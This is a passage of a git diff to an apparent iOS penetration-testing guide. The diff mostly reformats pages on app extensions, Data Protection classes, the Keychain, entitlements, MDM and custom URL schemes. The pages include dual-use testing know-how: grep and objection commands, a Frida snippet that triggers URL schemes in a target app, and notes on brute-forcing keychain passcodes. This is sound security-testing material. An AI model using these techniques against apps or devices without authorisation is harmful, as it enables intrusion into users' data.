its containing app** (typically, it isn’t even running while the contained app extension is running). * An **app extension** and the **host app** **communicate** via **inter-process** communication. * An **app extension’s** containing app and the **host app don’t communicate** at all. -* A **Today** **widget** \(and no other app extension type\) can ask the system to open its containing app by calling the `openURL:completionHandler:` method of the `NSExtensionContext` class. +* A **Today** **widget** (and no other app extension type) can ask the system to open its containing app by calling the `openURL:completionHandler:` method of the `NSExtensionContext` class. * Any **app extension** and its **containing app** can **access shared data in a privately** defined shared container. * App extensions **cannot access some APIs**, for example, HealthKit. * They **cannot receive data using AirDrop** but do can send data. * **No long-running background tasks** are allowed but uploads or downloads can be initiated. -* App extensions **cannot access the camera or microphone on an iOS device** \(except for iMessage app extensions\). +* App extensions **cannot access the camera or microphone on an iOS device** (except for iMessage app extensions). ### Static analysis #### **Verifying if the App Contains App Extensions** -If you have the original source code you can search for all occurrences of `NSExtensionPointIdentifier` with Xcode \(cmd+shift+f\) or take a look into "Build Phases / Embed App extensions": +If you have the original source code you can search for all occurrences of `NSExtensionPointIdentifier` with Xcode (cmd+shift+f) or take a look into "Build Phases / Embed App extensions": -![](../../.gitbook/assets/image%20%28505%29.png) +![](<../../.gitbook/assets/image (496).png>) There you can find the names of all embedded app extensions followed by `.appex`, now you can navigate to the individual app extensions in the project. If not having the original source code: -Grep for `NSExtensionPointIdentifier` among all files inside the app bundle \(IPA or installed app\): +Grep for `NSExtensionPointIdentifier` among all files inside the app bundle (IPA or installed app): ```bash $ grep -nr NSExtensionPointIdentifier Payload/Telegram\ X.app/ @@ -49,7 +49,7 @@ Binary file Payload/Telegram X.app//PlugIns/Widget.appex/Info.plist matches Binary file Payload/Telegram X.app//Watch/Watch.app/PlugIns/Watch Extension.appex/Info.plist matches ``` -You can also access per SSH, find the app bundle and list all inside PlugIns \(they are placed there by default\) or do it with objection: +You can also access per SSH, find the app bundle and list all inside PlugIns (they are placed there by default) or do it with objection: ```bash ph.telegra.Telegraph on (iPhone: 11.1.2) [usb] # cd PlugIns @@ -69,7 +69,7 @@ We can see now the same four app extensions that we saw in Xcode before. #### **Determining the Supported Data Types** -This is important for data being shared with host apps \(e.g. via Share or Action Extensions\). When the user selects some data type in a host app and it matches the data types define here, the host app will offer the extension. It is worth noticing the difference between this and data sharing via `UIActivity` where we had to define the document types, also using UTIs. An app does not need to have an extension for that. It is possible to share data using only `UIActivity`. +This is important for data being shared with host apps (e.g. via Share or Action Extensions). When the user selects some data type in a host app and it matches the data types define here, the host app will offer the extension. It is worth noticing the difference between this and data sharing via `UIActivity` where we had to define the document types, also using UTIs. An app does not need to have an extension for that. It is possible to share data using only `UIActivity`. Inspect the app extension's `Info.plist` file and search for `NSExtensionActivationRule`. That key specifies the data being supported as well as e.g. maximum of items supported. For example: @@ -94,6 +94,8 @@ Only the data types present here and not having `0` as `MaxCount` will be suppor Remember that app extensions and their containing apps do not have direct access to each other’s containers. However, data sharing can be enabled. This is done via ["App Groups"](https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/EntitlementKeyReference/Chapters/EnablingAppSandbox.html#//apple_ref/doc/uid/TP40011195-CH4-SW19) and the [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) API. See this figure from [Apple App Extension Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html#//apple_ref/doc/uid/TP40014214-CH21-SW11): +![](broken-reference) + As also mentioned in the guide, the app must set up a shared container if the app extension uses the `NSURLSession` class to perform a background upload or download, so that both the extension and its containing app can access the transferred data. **Verifying if the App Restricts the Use of App Extensions** @@ -102,7 +104,7 @@ It is possible to reject a specific type of app extension by using the following * [`application:shouldAllowExtensionPointIdentifier:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623122-application?language=objc) -However, it is currently only possible for "custom keyboard" app extensions \(and should be verified when testing apps handling sensitive data via the keyboard like e.g. banking apps\). +However, it is currently only possible for "custom keyboard" app extensions (and should be verified when testing apps handling sensitive data via the keyboard like e.g. banking apps). ### Dynamic Analysis @@ -115,9 +117,9 @@ For the dynamic analysis we can do the following to gain knowledge without havin For this we should hook `NSExtensionContext - inputItems` in the data originating app. -Following the previous example of Telegram we will now use the "Share" button on a text file \(that was received from a chat\) to create a note in the Notes app with it: +Following the previous example of Telegram we will now use the "Share" button on a text file (that was received from a chat) to create a note in the Notes app with it: -![](../../.gitbook/assets/image%20%28506%29.png) +![](<../../.gitbook/assets/image (497).png>) If we run a trace, we'd see the following output: @@ -166,10 +168,9 @@ F90A1414DC 1(2) /private/var/containers/Bundle/Application/5E267B56-F104-41D0-83 As you can see there are two app extensions involved: -* `Share.appex` is sending the text file \(`public.plain-text` and `public.file-url`\). +* `Share.appex` is sending the text file (`public.plain-text` and `public.file-url`). * `com.apple.mobilenotes.SharingExtension.appex` which is receiving and will process the text file. If you want to learn more about what's happening under-the-hood in terms of XPC, we recommend to take a look at the internal calls from "libxpc.dylib". For example you can use [`frida-trace`](https://www.frida.re/docs/frida-trace/) and then dig deeper into the methods that you find more interesting by extending the automatically generated stubs. -### - +### diff --git a/mobile-apps-pentesting/ios-pentesting/ios-basics.md b/mobile-apps-pentesting/ios-pentesting/ios-basics.md index 19acc5e7..1d8dd41c 100644 --- a/mobile-apps-pentesting/ios-pentesting/ios-basics.md +++ b/mobile-apps-pentesting/ios-pentesting/ios-basics.md @@ -2,41 +2,41 @@ ## Privilege Separation and Sandbox -Applications the user can access run as the **mobile** user while critical system processes run as **root**. +Applications the user can access run as the **mobile** user while critical system processes run as **root**.\ However, the sandbox allows better control over actions that processes and applications can perform. -For example, even if two processes run as the same user \(mobile\), they are **not allowed to access or modify each other's data**. +For example, even if two processes run as the same user (mobile), they are **not allowed to access or modify each other's data**. -Each application is installed under **`private/var/mobile/Applications/{random ID}`** -Once installed, applications have limited read access to some system areas and functions \(SMS, phone call...\). If an application wants to access a **protected area,** a **pop-up requesting permission** appears. +Each application is installed under **`private/var/mobile/Applications/{random ID}`**\ +Once installed, applications have limited read access to some system areas and functions (SMS, phone call...). If an application wants to access a **protected area,** a **pop-up requesting permission** appears. ## Data Protection -App developers can leverage the iOS _Data Protection_ APIs to implement **fine-grained access control** for user data stored in flash memory. The APIs are built on top of the **Secure Enclave Processor** \(SEP\). The SEP is a coprocessor that provides **cryptographic operations for data protection and key management**. A device-specific hardware key-the **device UID** \(Unique ID\)-is **embedded in the secure enclave**, ensuring the integrity of data protection even when the operating system kernel is compromised. +App developers can leverage the iOS _Data Protection_ APIs to implement **fine-grained access control **for user data stored in flash memory. The APIs are built on top of the **Secure Enclave Processor** (SEP). The SEP is a coprocessor that provides **cryptographic operations for data protection and key management**. A device-specific hardware key-the **device UID **(Unique ID)-is** embedded in the secure enclave**, ensuring the integrity of data protection even when the operating system kernel is compromised. -When a **file is created** on the disk, a new **256-bit AES key is generated** with the help of secure enclave's hardware based random number generator. The **content of the file is then encrypted with the generated key**. And then, this **key is saved encrypted with a class key** along with **the class ID,** with **both data encrypted by the system's key,** inside the **metadata** of the file. +When a **file is created** on the disk, a new **256-bit AES key is generated **with the help of secure enclave's hardware based random number generator. The **content of the file is then encrypted with the generated key**. And then, this **key is saved encrypted with a class key** along with **the class ID, **with** both data encrypted by the system's key, **inside the **metadata** of the file. -![](../../.gitbook/assets/image%20%28474%29.png) +![](<../../.gitbook/assets/image (473).png>) For decrypting the file, the **metadata is decrypted using the system's key**. Then u**sing the class ID** the **class key is retrieved** **to decrypt the per-file key and decrypt the file.** Files can be assigned to one of **four** **different** **protection** classes, which are explained in more detail in the [iOS Security Guide](https://www.apple.com/business/docs/iOS_Security_Guide.pdf): -* **Complete Protection \(NSFileProtectionComplete\)**: A key derived from the user passcode and the device UID protects this class key. The derived key is wiped from memory shortly after the device is locked, making the data inaccessible until the user unlocks the device. -* **Protected Unless Open \(NSFileProtectionCompleteUnlessOpen\)**: This protection class is similar to Complete Protection, but, if the file is opened when unlocked, the app can continue to access the file even if the user locks the device. This protection class is used when, for example, a mail attachment is downloading in the background. -* **Protected Until First User Authentication \(NSFileProtectionCompleteUntilFirstUserAuthentication\)**: The file can be accessed as soon as the user unlocks the device for the first time after booting. It can be accessed even if the user subsequently locks the device and the class key is not removed from memory. -* **No Protection \(NSFileProtectionNone\)**: The key for this protection class is protected with the UID only. The class key is stored in "Effaceable Storage", which is a region of flash memory on the iOS device that allows the storage of small amounts of data. This protection class exists for fast remote wiping \(immediate deletion of the class key, which makes the data inaccessible\). +* **Complete Protection (NSFileProtectionComplete)**: A key derived from the user passcode and the device UID protects this class key. The derived key is wiped from memory shortly after the device is locked, making the data inaccessible until the user unlocks the device. +* **Protected Unless Open (NSFileProtectionCompleteUnlessOpen)**: This protection class is similar to Complete Protection, but, if the file is opened when unlocked, the app can continue to access the file even if the user locks the device. This protection class is used when, for example, a mail attachment is downloading in the background. +* **Protected Until First User Authentication (NSFileProtectionCompleteUntilFirstUserAuthentication)**: The file can be accessed as soon as the user unlocks the device for the first time after booting. It can be accessed even if the user subsequently locks the device and the class key is not removed from memory. +* **No Protection (NSFileProtectionNone)**: The key for this protection class is protected with the UID only. The class key is stored in "Effaceable Storage", which is a region of flash memory on the iOS device that allows the storage of small amounts of data. This protection class exists for fast remote wiping (immediate deletion of the class key, which makes the data inaccessible). All class keys except `NSFileProtectionNone` are encrypted with a key derived from the device UID and the user's passcode. As a result, decryption can happen only on the device itself and requires the correct passcode. Since iOS 7, the default data protection class is "Protected Until First User Authentication". -\*\*\*\*[**FileDP**](https://github.com/abjurato/FileDp-Source) is a program that you can upload and use inside the IPhone to **inspect the data protection class** of each file. +****[**FileDP**](https://github.com/abjurato/FileDp-Source) is a program that you can upload and use inside the IPhone to **inspect the data protection class** of each file. ### The Keychain -A keychain is an **encrypted** **container** where every application can **store** **sensitive** pieces of **information** and only the same app \(or authorised apps\) can retrieve the contents. -The iOS **generated its own password for the keychain** and **stores** an **encrypted** version of this key in the device. This password is encrypted with AES using an AES key created by a **PBKDF2** function of the **user's passcode + salt** \(the 256 bit device **UID** **only** **accessible** to the secure **enclave chipset** on the device\). Due to the use of this device UID as salt, a device won't be able to decrypt the keychain of a different device even knowing the users passcode. +A keychain is an **encrypted** **container** where every application can **store** **sensitive** pieces of **information** and only the same app (or authorised apps) can retrieve the contents.\ +The iOS **generated its own password for the keychain** and **stores** an **encrypted** version of this key in the device. This password is encrypted with AES using an AES key created by a **PBKDF2** function of the **user's passcode + salt** (the 256 bit device **UID** **only** **accessible** to the secure **enclave chipset** on the device). Due to the use of this device UID as salt, a device won't be able to decrypt the keychain of a different device even knowing the users passcode. Access to the Keychain is managed by the **`securityd`** daemon, which grants access according to the app's `Keychain-access-groups`, `application-identifier`, and `application-group` entitlements. @@ -47,7 +47,7 @@ The [Keychain API](https://developer.apple.com/library/content/documentation/Sec * `SecItemCopyMatching` * `SecItemDelete` -The only ways to try to BF this password is dumping the encrypted key and BF the passcode + salt \(the **pbkdf2** function uses **at least 10000 iteration**s\). Or trying to **BF inside the device** to avoids BFing the salt, however, secure enclave ensures there is at least a **5s delay between 2 failed password attempts**. +The only ways to try to BF this password is dumping the encrypted key and BF the passcode + salt (the **pbkdf2** function uses **at least 10000 iteration**s). Or trying to **BF inside the device** to avoids BFing the salt, however, secure enclave ensures there is at least a **5s delay between 2 failed password attempts**. You can configure **data protection for Keychain items** by setting the `kSecAttrAccessible` key in the call to `SecItemAdd` or `SecItemUpdate`.The following configurable [accessibility values for kSecAttrAccessible](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100) are the Keychain Data Protection classes: @@ -57,20 +57,20 @@ You can configure **data protection for Keychain items** by setting the `kSecAtt * **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: The data in the Keychain item can't be accessed after a restart until the **device has been unlocked once** by the user. Items with this attribute do **not migrate to a new device**. Thus, after restoring from a backup of a different device, these items will not be present. * **`kSecAttrAccessibleWhenUnlocked`**: The data in the Keychain item can be accessed **only while the device is unlocked** by the user. * **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: The data in the Keychain item can be accessed **only while the device is unlocked** by the user. The data **won't be included in an iCloud or local backup**. -* **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: The data in the Keychain can be accessed **only when the device is unlocked**. This protection class is **only available if a passcode is set** on the device. The data w**on't be included in an iCloud or local backup**. +* **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: The data in the Keychain can be accessed **only when the device is unlocked**. This protection class is **only available if a passcode is set **on the device. The data w**on't be included in an iCloud or local backup**. -**`AccessControlFlags`** define the mechanisms with which users can authenticate the key \(`SecAccessControlCreateFlags`\): +**`AccessControlFlags`** define the mechanisms with which users can authenticate the key (`SecAccessControlCreateFlags`): * **`kSecAccessControlDevicePasscode`**: Access the item via a passcode. * **`kSecAccessControlBiometryAny`**: Access the item via one of the fingerprints registered to Touch ID. Adding or removing a fingerprint won't invalidate the item. * **`kSecAccessControlBiometryCurrentSet`**: Access the item via one of the fingerprints registered to Touch ID. Adding or removing a fingerprint _will_ invalidate the item. -* **`kSecAccessControlUserPresence`**: Access the item via either one of the registered fingerprints \(using Touch ID\) or default to the passcode. +* **`kSecAccessControlUserPresence`**: Access the item via either one of the registered fingerprints (using Touch ID) or default to the passcode. -Please note that keys secured by Touch ID \(via `kSecAccessControlBiometryAny` or `kSecAccessControlBiometryCurrentSet`\) are protected by the Secure Enclave: The Keychain holds a token only, not the actual key. The key resides in the Secure Enclave. +Please note that keys secured by Touch ID (via `kSecAccessControlBiometryAny` or `kSecAccessControlBiometryCurrentSet`) are protected by the Secure Enclave: The Keychain holds a token only, not the actual key. The key resides in the Secure Enclave. The iPhone uses the **passcode introduced by the user unlocking the device to decrypt the secrets in the keychain**. -iOS uses the _**AppIdentifierPrefix**_ \(Team ID\) and the _**BundleIdentifier**_ \(provided by the dev\) to enforce **access control oven keychain items**. Then, the same team **can** **configure** **2 apps to share keychain items**. +iOS uses the _**AppIdentifierPrefix**_ (Team ID) and the _**BundleIdentifier**_ (provided by the dev) to enforce **access control oven keychain items**. Then, the same team **can** **configure** **2 apps to share keychain items**. When a backup process is initiated the keychain **data backed up remains encrypted and the keychain password isn't included in the backup**. @@ -102,34 +102,34 @@ if userDefaults.bool(forKey: "hasRunBefore") == false { ## **App Capabilities** -**Each app has a unique home directory and is sandboxed**, so that they cannot access protected system resources or files stored by the system or by other apps. These restrictions are implemented via sandbox policies \(aka. _profiles_\), which are enforced by the [Trusted BSD \(MAC\) Mandatory Access Control Framework](http://www.trustedbsd.org/mac.html) via a kernel extension. +**Each app has a unique home directory and is sandboxed**, so that they cannot access protected system resources or files stored by the system or by other apps. These restrictions are implemented via sandbox policies (aka. _profiles_), which are enforced by the [Trusted BSD (MAC) Mandatory Access Control Framework](http://www.trustedbsd.org/mac.html) via a kernel extension. -Some [**capabilities/permissions**](https://help.apple.com/developer-account/#/dev21218dfd6) can be configured by the app's developers \(e.g. Data Protection or Keychain Sharing\) and will directly take effect after the installation. However, for others, **the user will be explicitly asked the first time the app attempts to access a protected resource**. +Some [**capabilities/permissions**](https://help.apple.com/developer-account/#/dev21218dfd6) can be configured by the app's developers (e.g. Data Protection or Keychain Sharing) and will directly take effect after the installation. However, for others, **the user will be explicitly asked the first time the app attempts to access a protected resource**. [_Purpose strings_](https://developer.apple.com/documentation/uikit/core_app/protecting_the_user_s_privacy/accessing_protected_resources?language=objc#3037322) or _usage description strings_ are custom texts that are offered to users in the system's permission request alert when requesting permission to access protected data or resources. -![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc_%2F-Lf1AQw8W2q7BB5-il7r%2Fpermission_request_alert.png?alt=media) +![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc\_%2F-Lf1AQw8W2q7BB5-il7r%2Fpermission_request_alert.png?alt=media) If having the original source code, you can verify the permissions included in the `Info.plist` file: * Open the project with Xcode. * Find and open the `Info.plist` file in the default editor and search for the keys starting with `"Privacy -"`. -You may switch the view to display the raw values by right-clicking and selecting "Show Raw Keys/Values" \(this way for example `"Privacy - Location When In Use Usage Description"` will turn into `NSLocationWhenInUseUsageDescription`\). +You may switch the view to display the raw values by right-clicking and selecting "Show Raw Keys/Values" (this way for example `"Privacy - Location When In Use Usage Description"` will turn into `NSLocationWhenInUseUsageDescription`). If only having the IPA: * Unzip the IPA. * The `Info.plist` is located in `Payload/.app/Info.plist`. -* Convert it if needed \(e.g. `plutil -convert xml1 Info.plist`\) as explained in the chapter "iOS Basic Security Testing", section "The Info.plist File". -* Inspect all _purpose strings Info.plist keys_, usually ending with `UsageDescription`: +* Convert it if needed (e.g. `plutil -convert xml1 Info.plist`) as explained in the chapter "iOS Basic Security Testing", section "The Info.plist File". +* Inspect all _purpose strings Info.plist keys_, usually ending with `UsageDescription`: - ```markup - - - NSLocationWhenInUseUsageDescription - Your location is used to provide turn-by-turn directions to your destination. - ``` + ```markup + + + NSLocationWhenInUseUsageDescription + Your location is used to provide turn-by-turn directions to your destination. + ``` ### Device Capabilities @@ -144,11 +144,11 @@ Device capabilities are used by the App Store to ensure that only compatible dev > Typically you'll find the `armv7` capability, meaning that the app is compiled only for the armv7 instruction set, or if it’s a 32/64-bit universal app. -For example, an app might be completely dependent on NFC to work \(e.g. a ["NFC Tag Reader"](https://itunes.apple.com/us/app/nfc-taginfo-by-nxp/id1246143596) app\). According to the [archived iOS Device Compatibility Reference](https://developer.apple.com/library/archive/documentation/DeviceInformation/Reference/iOSDeviceCompatibility/DeviceCompatibilityMatrix/DeviceCompatibilityMatrix.html), NFC is only available starting on the iPhone 7 \(and iOS 11\). A developer might want to exclude all incompatible devices by setting the `nfc` device capability. +For example, an app might be completely dependent on NFC to work (e.g. a ["NFC Tag Reader"](https://itunes.apple.com/us/app/nfc-taginfo-by-nxp/id1246143596) app). According to the [archived iOS Device Compatibility Reference](https://developer.apple.com/library/archive/documentation/DeviceInformation/Reference/iOSDeviceCompatibility/DeviceCompatibilityMatrix/DeviceCompatibilityMatrix.html), NFC is only available starting on the iPhone 7 (and iOS 11). A developer might want to exclude all incompatible devices by setting the `nfc` device capability. ### Entitlements -> Entitlements are key value pairs that are signed in to an app and allow authentication beyond runtime factors, like UNIX user ID. Since entitlements are digitally signed, they can’t be changed. Entitlements are used extensively by system apps and daemons to **perform specific privileged operations that would otherwise require the process to run as root**. This greatly reduces the potential for privilege escalation by a compromised system app or daemon. +> Entitlements are key value pairs that are signed in to an app and allow authentication beyond runtime factors, like UNIX user ID. Since entitlements are digitally signed, they can’t be changed. Entitlements are used extensively by system apps and daemons to** perform specific privileged operations that would otherwise require the process to run as root**. This greatly reduces the potential for privilege escalation by a compromised system app or daemon. For example, if you want to set the "Default Data Protection" capability, you would need to go to the **Capabilities** tab in Xcode and enable **Data Protection**. This is directly written by Xcode to the `.entitlements` file as the `com.apple.developer.default-data-protection` entitlement with default value `NSFileProtectionComplete`. In the IPA we might find this in the `embedded.mobileprovision` as: @@ -167,22 +167,21 @@ For other capabilities such as HealthKit, the user has to be asked for permissio **Objecttive-C** has a **dynamic runtime**, so when an Objective-C program is executed in iOS, it calls libraries whose **address are resolved at runtime** by comparing the name of the function sent in the message against a list of all the function names available. -At the beginning, only apps created by Apple run the iPhones, so they had **access to everything** as they were **trusted**. However, when Apple **allowed** **third party applications,** Apple just removed the headers files of the powerful functions to "hide" them to developers. However, developers found that "safe" functions needed a few of these undocumented functions and just creating a **custom header file with the names of the undocumented functions, it was possible to invoke this powerful hidden functions.** Actually, Apple, before allowing an app to be published, check if the app calls any of these prohibited functions. +At the beginning, only apps created by Apple run the iPhones, so they had **access to everything** as they were **trusted**. However, when Apple **allowed** **third party applications, **Apple just removed the headers files of the powerful functions to "hide" them to developers. However, developers found that "safe" functions needed a few of these undocumented functions and just creating a **custom header file with the names of the undocumented functions, it was possible to invoke this powerful hidden functions. **Actually, Apple, before allowing an app to be published, check if the app calls any of these prohibited functions. -Then, Swift appeared. As **Swift is statically bound** \(it doesn't resolve the address of the functions in runtime like Objective-C\), it can be checked more easily the calls a Swift program is going to make via static code analysis. +Then, Swift appeared. As **Swift is statically bound** (it doesn't resolve the address of the functions in runtime like Objective-C), it can be checked more easily the calls a Swift program is going to make via static code analysis. ## Device Management -From iOS version 6, there is **built-in support for device management** capability with fine grain controls that allows an organisation to control the corporate apple devices. -The enrolment can be **initiated by the user installing an agent** in order to access the corporate apps. In this case the device usually belongs to the user. -Or the **company can indicate the serial numbers** of the bought devices or the purchase order ID and specify the MDM profile to install on those devices. Note that Apple **doesn't allow to enrol a particular device this way twice**. Once the first profile is deleted the user needs to give consent to install another one. +From iOS version 6, there is **built-in support for device management **capability with fine grain controls that allows an organisation to control the corporate apple devices.\ +The enrolment can be **initiated by the user installing an agent** in order to access the corporate apps. In this case the device usually belongs to the user.\ +Or the **company can indicate the serial numbers **of the bought devices or the purchase order ID and specify the MDM profile to install on those devices. Note that Apple **doesn't allow to enrol a particular device this way twice**. Once the first profile is deleted the user needs to give consent to install another one. -The user can see the installed policies in _**Settings**_ --> _**General**_ --> _**Profile and Device Management**_ +The user can see the installed policies in _**Settings**_ --> _**General**_ --> _**Profile and Device Management**_ -As these MDM policies are checking and limiting other applications, they are **running with more privileges**. -A MDM policy can **enforce** **users** to have a **passcode** set with a **minimun** password **complexity**. -The profiles are tied to the deviceID, **signed** and **encrypted** by the MDM server and **tamper** **proof**. They **cannot** be **removed** without **losing** all the **corporate** **data**. +As these MDM policies are checking and limiting other applications, they are **running with more privileges**.\ +A MDM policy can **enforce** **users** to have a **passcode** set with a **minimun** password **complexity**.\ +The profiles are tied to the deviceID, **signed** and **encrypted** by the MDM server and **tamper** **proof**. They **cannot** be **removed** without **losing** all the **corporate** **data**.\ MDM profiles allow to **wipe** all the **data** if there are X **failed** password **attempts**. Also, the **admin** can **remote** **wipe** the iPhone whenever via the MDM interface. MDM agents will **check** also for **possible jailbreaks of the device**, as this is very dangerous state for an iPhone. - diff --git a/mobile-apps-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md b/mobile-apps-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md index 233f3495..5d7ac344 100644 --- a/mobile-apps-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md +++ b/mobile-apps-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md @@ -2,13 +2,13 @@ Custom URL schemes [allow apps to communicate via a custom protocol](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). An app must declare support for the schemes and handle incoming URLs that use those schemes. -> URL schemes offer a potential attack vector into your app, so make sure to **validate all URL parameters** and **discard any malformed URLs**. In addition, limit the available **actions** to those that d**o not risk the user’s data**. +> URL schemes offer a potential attack vector into your app, so make sure to** validate all URL parameters** and **discard any malformed URLs**. In addition, limit the available **actions** to those that d**o not risk the user’s data**. -For example, the URI: `myapp://hostname?data=123876123` will **invoke** the **application** mydata \(the one that has **register** the scheme `mydata`\) to the **action** related to the **hostname** `hostname` sending the **parameter** `data` with value `123876123` +For example, the URI: `myapp://hostname?data=123876123` will **invoke** the **application** mydata (the one that has **register** the scheme `mydata`) to the **action** related to the **hostname** `hostname` sending the **parameter** `data` with value `123876123` -One vulnerable example is the following [bug in the Skype Mobile app](http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html), discovered in 2010: The Skype app registered the `skype://` protocol handler, which **allowed other apps to trigger calls to other Skype users and phone numbers**. Unfortunately, Skype didn't ask users for permission before placing the calls, so any app could call arbitrary numbers without the user's knowledge. Attackers exploited this vulnerability by putting an invisible `` \(where `xxx` was replaced by a premium number\), so any Skype user who inadvertently visited a malicious website called the premium number. +One vulnerable example is the following [bug in the Skype Mobile app](http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html), discovered in 2010: The Skype app registered the `skype://` protocol handler, which **allowed other apps to trigger calls to other Skype users and phone numbers**. Unfortunately, Skype didn't ask users for permission before placing the calls, so any app could call arbitrary numbers without the user's knowledge. Attackers exploited this vulnerability by putting an invisible `` (where `xxx` was replaced by a premium number), so any Skype user who inadvertently visited a malicious website called the premium number. -You can find the **schemes registered by an application** in the app's **`Info.plist`** file searching for **`CFBundleURLTypes`** \(example from [iGoat-Swift](https://github.com/OWASP/iGoat-Swift)\): +You can find the **schemes registered by an application** in the app's **`Info.plist`** file searching for **`CFBundleURLTypes`** (example from [iGoat-Swift](https://github.com/OWASP/iGoat-Swift)): ```markup CFBundleURLTypes @@ -24,7 +24,7 @@ You can find the **schemes registered by an application** in the app's **`Info.p ``` -However, note that **malicious applications can re-register URIs** already registered by applications. So, if you are sending **sensitive information via URIs** \(myapp://hostname?password=123456\) a **malicious** application can **intercept** the URI with the **sensitive** **information**. +However, note that **malicious applications can re-register URIs** already registered by applications. So, if you are sending **sensitive information via URIs** (myapp://hostname?password=123456) a **malicious** application can **intercept **the URI with the **sensitive** **information**. Also, the input of these URIs **should be checked and sanitised,** as it can be coming from **malicious** **origins** trying to exploit SQLInjections, XSS, CSRF, Path Traversals, or other possible vulnerabilities. @@ -47,7 +47,7 @@ Apps can call [`canOpenURL:`](https://developer.apple.com/documentation/uikit/ui In order to determine how a URL path is built and validated, if you have the original source code, you can **search for the following methods**: * `application:didFinishLaunchingWithOptions:` method or `application:will-FinishLaunchingWithOptions:`: verify how the decision is made and how the information about the URL is retrieved. -* [`application:openURL:options:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623112-application?language=objc): verify how the resource is being opened, i.e. how the data is being parsed, verify the [options](https://developer.apple.com/documentation/uikit/uiapplication/openurloptionskey), especially if access by the calling app \([`sourceApplication`](https://developer.apple.com/documentation/uikit/uiapplication/openurloptionskey/1623128-sourceapplication)\) should be allowed or denied. The app might also need user permission when using the custom URL scheme. +* [`application:openURL:options:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623112-application?language=objc): verify how the resource is being opened, i.e. how the data is being parsed, verify the [options](https://developer.apple.com/documentation/uikit/uiapplication/openurloptionskey), especially if access by the calling app ([`sourceApplication`](https://developer.apple.com/documentation/uikit/uiapplication/openurloptionskey/1623128-sourceapplication)) should be allowed or denied. The app might also need user permission when using the custom URL scheme. In Telegram you will [find four different methods being used](https://github.com/peter-iakovlev/Telegram-iOS/blob/87e0a33ac438c1d702f2a0b75bf21f26866e346f/Telegram-iOS/AppDelegate.swift#L1250): @@ -77,9 +77,9 @@ func application(_ application: UIApplication, handleOpen url: URL) -> Bool { ### Testing URL Requests to Other Apps -The method [`openURL:options:completionHandler:`](https://developer.apple.com/documentation/uikit/uiapplication/1648685-openurl?language=objc) and the [deprecated `openURL:` method of `UIApplication`](https://developer.apple.com/documentation/uikit/uiapplication/1622961-openurl?language=objc) are responsible for **opening URLs** \(i.e. to send requests / make queries to other apps\) that may be local to the current app or it may be one that must be provided by a different app. If you have the original source code you can search directly for usages of those methods. +The method [`openURL:options:completionHandler:`](https://developer.apple.com/documentation/uikit/uiapplication/1648685-openurl?language=objc) and the [deprecated `openURL:` method of `UIApplication`](https://developer.apple.com/documentation/uikit/uiapplication/1622961-openurl?language=objc) are responsible for **opening URLs **(i.e. to send requests / make queries to other apps) that may be local to the current app or it may be one that must be provided by a different app. If you have the original source code you can search directly for usages of those methods. -Additionally, if you are interested into knowing if the app is querying specific services or apps, and if the app is well-known, you can also search for common URL schemes online and include them in your **greps \(l**[**ist of iOS app schemes**](https://ios.gadgethacks.com/how-to/always-updated-list-ios-app-url-scheme-names-paths-for-shortcuts-0184033/)**\)**. +Additionally, if you are interested into knowing if the app is querying specific services or apps, and if the app is well-known, you can also search for common URL schemes online and include them in your **greps (l**[**ist of iOS app schemes**](https://ios.gadgethacks.com/how-to/always-updated-list-ios-app-url-scheme-names-paths-for-shortcuts-0184033/)**)**. ```bash egrep -nr "open.*options.*completionHandler" ./Telegram-iOS/ @@ -117,34 +117,34 @@ $ rabin2 -zzq Telegram\ X.app/Telegram\ X | grep -i "openurl" * **Notes App**: Long press the links you've written in order to test custom URL schemes. Remember to exit the editing mode in order to be able to open them. Note that you can click or long press links including custom URL schemes only if the app is installed, if not they won't be highlighted as _clickable links_. * [**IDB**](https://github.com/facebook/idb): * Start IDB, connect to your device and select the target app. You can find details in the [IDB documentation](https://www.idbtool.com/documentation/setup.html). - * Go to the **URL Handlers** section. In **URL schemes**, click **Refresh**, and on the left you'll find a list of all custom schemes defined in the app being tested. You can load these schemes by clicking **Open**, on the right side. By simply opening a blank URI scheme \(e.g., opening `myURLscheme://`\), you can discover hidden functionality \(e.g., a debug window\) and bypass local authentication. -* **Frida**: + * Go to the **URL Handlers** section. In **URL schemes**, click **Refresh**, and on the left you'll find a list of all custom schemes defined in the app being tested. You can load these schemes by clicking **Open**, on the right side. By simply opening a blank URI scheme (e.g., opening `myURLscheme://`), you can discover hidden functionality (e.g., a debug window) and bypass local authentication. +* **Frida**: - If you simply want to open the URL scheme you can do it using Frida: + If you simply want to open the URL scheme you can do it using Frida: - ```javascript - $ frida -U iGoat-Swift + ```javascript + $ frida -U iGoat-Swift - [iPhone::iGoat-Swift]-> function openURL(url) { - var UIApplication = ObjC.classes.UIApplication.sharedApplication(); - var toOpen = ObjC.classes.NSURL.URLWithString_(url); - return UIApplication.openURL_(toOpen); - } - [iPhone::iGoat-Swift]-> openURL("tel://234234234") - true - ``` + [iPhone::iGoat-Swift]-> function openURL(url) { + var UIApplication = 